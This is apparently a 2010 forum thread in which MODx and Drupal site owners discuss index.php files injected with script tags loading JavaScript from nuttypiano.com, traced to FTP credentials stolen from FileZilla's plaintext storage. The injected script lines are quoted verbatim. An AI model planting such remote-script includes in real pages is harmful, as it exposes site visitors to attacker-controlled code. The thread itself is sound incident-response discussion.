Google - "This site may be unsafe" script inside index.php

Today i find, that in 3 of my web-sites on MODx 1.0.3 Evolution traditional version
page this code in the end of html source on the main- after </html>

<script type="text/javascript" src="http://nuttypiano.com/Bcc.js"></script>

i find that main file index.php was modified today 25.08.2010 in 3:55

in the end of this file was this line <script type="text/javascript" src="http://nuttypiano.com/Bcc.js"></script>
or <script type="text/javascript" src="http://nuttypiano.com/Sampling.js"></script>

there are 2 sites on the two hostings, so it’s not ftp hacking

If anybody has known about this problem, help please.
chmod on index.php on one site 755 and on the other 644

might be related: http://modxcms.com/forums/index.php/topic,52543.60.html

This looks different to me @sharkbait. This is in the index.php file as stated by @madmaximus.

Don’t remember seeing this one before.

You say it was modified

today 25.08.2010 in 3:55

Do you have any idea who by any logs.

No, i can’t find for this time any actions in the log- there is only last 24 hours activity.

after this text was comment:
<!--7c1f11f14ec8912965dee413848438e9-->
smth like a checksum

Yesterday i cant find anything about nuttypiano.com link injection.
Today i find a new article about it, and also find than it’s not a modx problem.
One of my sites on drupal was hacked too. It seems that a local FTP virus, that use FileZilla client to change index files.
Because only FileZilla have access to all 3 of this FTP accounts


http://badwarebusters.org/main/itemview/20906

It looks like your first port of call is your local machine.

Just out of curiosity what OS are you running on with FileZilla.

I have for a while been worried about using Windows for working on hosted websites.

Am I just being paranoid.

Funny that I’ve seen the same script domain name but different .js file in two of my sites and I’m more than certain it relates to FTP hacking.

One site that was affected was a live site and files were changed on 25/8 at 1:40am. The other site was my own at home and that was hit on the 24/8 9:30pm. I’ve seen logs from the FTP program with access to .js files and the like. I can’t get a hold of logs for the live site (webhosters are being more than awkward).

I use Filezilla and noticed it’s XML file stores password as plain text (grrr) and I wish that sites in the address book with blank emails would prompt for a password as opposed to trying a blank password when logging in.

I’ve ran all manner of spyware cleaners:
Malware Bytes
Spyware Antispyware
Combofix

and I’m hoping what ever has been causing it is gone. Good luck finding the root cause. Best action to begin with is to change the FTP passwords if possible.

Edit: there is a discussion on plain text storage of password over at filezilla: http://forum.filezilla-project.org/viewtopic.php?f=1&t=16155